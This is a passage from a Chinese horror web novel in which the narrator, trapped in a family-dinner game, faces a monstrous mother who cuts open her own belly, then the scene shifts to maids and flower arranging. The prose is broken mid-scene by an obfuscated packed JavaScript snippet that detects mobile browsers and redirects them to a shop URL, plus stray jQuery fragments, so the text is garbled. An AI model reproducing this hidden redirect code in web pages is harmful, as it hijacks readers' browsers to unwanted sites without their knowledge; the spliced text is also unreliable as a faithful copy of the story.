靠之......
率先反应过来的女主人一把揪住了我的衣领。
我忽然感同身受了之前被我同小鸡仔一般拎起来的真正小男孩。
“你为什么这么不听话?!”
“老是要忤逆妈妈,你不知道你这样的孩子会受到惩罚吗!!!”
“讨厌的孩子,讨厌的孩子......我要把你塞回去!还不如从来没有生过你——!”
女主人无法抑制地暴怒起来,指甲一寸一寸地长长,它没有因生长规律变得蜷曲脆弱,而是如长剑般耸直锋锐!
马德里,臭口水攻击!
趁她变身,挣脱开的我又想溜,但没走几步就被类似结界的东西拦住了。
这还得一决胜负?
不是都说打不过就跑吗?!
只是我很快便愣在了原地。
那副已经完全长好的利甲并没有第一时间向我袭来,反而是对准了她自己的腹部,划开了一条长长的血线,好似真要剖开肚皮将自己的孩子塞进去......
将随口的气话转为血腥的现实。
还能这么搞?
我倒抽一口凉气,这简直比预测的最坏结果还要差。
女主人依旧没有对我动手,只是咆哮着坠入了自己的精神世界。
“给我回去、回去、回去......!”
“乖啊宝....回去就听话了,回去就听话了!”
“妈妈吃什么,宝宝就吃什么!吃什么....啊!”
一旁参与感越来越低的的父女俩,仿佛五感皆失。
但女主人变异带来的磁场振动,也催发了他们的本能——
竟然匍匐在地上,以膝盖为支点。
双眼猩红,犬齿竖立,长长直至蜷曲,用下半张脸去够那些被摔落的食物,吃得唏哩呼噜的。
有妻子/妈妈在,他们等着就好了。
我更加惊疑地看着这一幕。
虽抽象,但形象。
冷漠的丈夫,不听话的孩子,强势的妈,还有个对比项的二胎。
想打又一时间下不了手,不想让孩子成为小时候的自己,便只能往自己身上撒气,与自己置气......
长此以往,便成了“情绪化”的代名词。
一直到某个临界点。
我微微叹了口气。
这个游戏,太完备了。
“......”
女主人剖腹完毕,便拖着流了一地的肠子向我走来,步履甚至是轻快的。
“你进来吧。”她指向了自己那个将坠不坠的子宫。
呃......
世界真奇妙(+_+)?
“妈妈。”我用上了这个称呼,语气却是惋惜的,“你到现在不仅不尊重我,也不爱惜你自己。”
我看着那一兜血淋淋,更多的是漠然。
“它装不下。”
女主人愣住了,估计没料到我是这样的反应。
或许她认为我该表现出被她震慑到的恐惧。
我无甚关系地耸了耸肩,颇有一副死猪不怕开水烫的腔势在。
很快,女主人身上类似于“纳闷、不解、慌张”的情绪便转为更加汹涌的怒浪,在断断续续由气声组成的低呜中,原先瘪漏的腹腔被夸张顶起——
血线隆隆,边缘处绷到极限,很快已经被撕裂的伤口再度延伸,有更多东西迫不及待地往外跳......
直至将所有脏器都顶出去,那条血淋淋的线便成了一个黑黝黝的大洞。
女主人沉默地指了指肚皮,但面上的戏谑仿佛是在质问“现在够大了吗”。
那啥......
其实......
我也很想问一问,这个游戏尺度是否大了些,虽说我活了很久很久,但在云端就是个未成年撒。
似是感应到我的话,女主人肚子上的黑洞竟然人性化地打了层马赛克。
嘁,马后炮。
“你可以进来了。”
女主人梅开二度。
“吃了我,妈妈就会开心吗?”我反问,咬重了“吃”这一字。
左右都是进肚子,我把她的话重新定义。
而这句分明是对女主人说的话,却让地上那对父女停下咀嚼的动作,眼珠子像听到“稍息”一样转过来。
我自然留意到了他们的反应,这让我满意。
“你不挑食妈妈就会开心,你挑食了妈妈就把你塞回去,这样妈妈吃什么你就吃什么!”
女主人哼了一声。
“你闹也没用,反正妈妈会给你充足又均衡的营养,把你重新养成妈妈喜欢的样子。”
喔....这就是她的规则呀。
我若有所思,不过——
“你想要的,是一个完整的我吗?”我勾起嘴角。
不管是哪个路数的鬼怪,都痴贪于人类的血肉,瞧那对已经站起身、弓背蓄势待发的父女就知道了。
“你一开始不就是完整的吗?”捧着肚子,女主人不解,“我要碎碎的你干嘛......”
的确,从胚胎到婴儿,逐渐成熟,但始终完整。
完整地将我生出,再完整地将我塞回。
这也是她的规则。
“可是,爸爸和妹妹好像没吃饱?”我故作为难地指了指女主人背后。
在这个由女主人主导的餐桌游戏上,父女俩的精神属性显然弱不少,角色扮演在他们身上的约束力未必能够全然覆盖本能。
说白了就是小妖精道行有限。
更有被“吃了我”这三个字激发出兽性的缘故,此刻看待我的目光就是赤裸裸的“想吃”。
呵呵,鲜活烹香的我不比地上的残羹来得更具诱惑吗?
“你想要吃我,爸爸和妹妹也想要吃我,可我只有一个我,你又想要我保证我的完整性......嗯呐,这可要怎么办呢?”
你的规则是你的,但测试所得,你那两个帮凶身上的规则是灰色的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849766|211800||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他们能被你拉来入伙,也能被赃物所诱。
尤其是意识到他们一口汤都捞不到后。
这不是一个笼统的分赃问题,但可以用分赃来理解。
女主人呆呆立在原地,尽管在父女俩的衬托下,她显得最聪明,但这个问题依旧超出了她的认知。
事实上她只要回头,完全以怪物状态威吓住那俩小兵就是了。
可谁叫她的精神力不多不少,却足以教使规则囿她于妈妈的身份,叫她必须拥有一个丈夫和女儿呢。
而眼下丈夫和女儿也想吃掉儿子,自己却不能和他们分享——
“妈妈,你可以慢慢想....嗯关于、要不要先一步处理掉爸爸和妹妹呢?”我对她坦诚地笑笑,“这样才能确保拥有一个完整的我吧。”
“不过,这件事着实需要慎重思考,毕竟对你怎样来说都很为难。”
“总之哩,妈妈你还有晚饭的机会不是吗?”
我循循善诱。
女主人大概率死在头脑风暴中了,良久面上才生动地表现出“纠结”的神色,又过了好一会她才笑着对我说:
“你说得对,宝贝。”
“那赶紧叫人来把这里收拾一下吧,离晚饭也就几个小时了,我们很快便会再见面的。”
我偷偷松了口气,那父女俩真是虎视眈眈又眈眈呐。
再次转身离开时,神经免不得再度紧绷。
也不知道这结界给不给过?
我这也不算诓人。
呼......
直到上至二楼,我才塌下了肩。
看到门上提前做下的记号无误后,又舒了口气。
......
一楼。
午后的阳光总是叫人忍不住伸个懒腰的。
不过女仆们依旧忙忙碌碌。
也不知小少爷又在作闹什么,把那么好的一桌子美味都给掀翻了。
瞅瞅那一地的好肉,真叫人心疼。
“我的花怎么少了一支?”
插花是女主人日程里或不可缺的一项。
提前一周在花店预定好,这一周的每一天便都能收到一束凝结着晨雾的花。
女主人总是让这些半开不张的花骨朵们醒足一个上午,待到午后闲了,才会挑选一个款式与色系搭配的花瓶,进行她在插花上的艺术创作。
今天也是一样,但今天又有些特殊。
“我记得我和花店特意叮嘱了,要固定的19枝粉色郁金香的呀......”
女主人找来女仆问话,并得知是被自己的儿子拿了。
“这小坏蛋!”
“抱歉夫人,小少爷难得会对花感兴趣,他看起来又有些闷闷不乐,所以我就......”
“换到平时确实没关系,随便给他几支,但今天可是我的求婚纪念日呐!”
女主人有些无奈了。
“算了,你现在就给我去趟花店,再买一束好了。”
......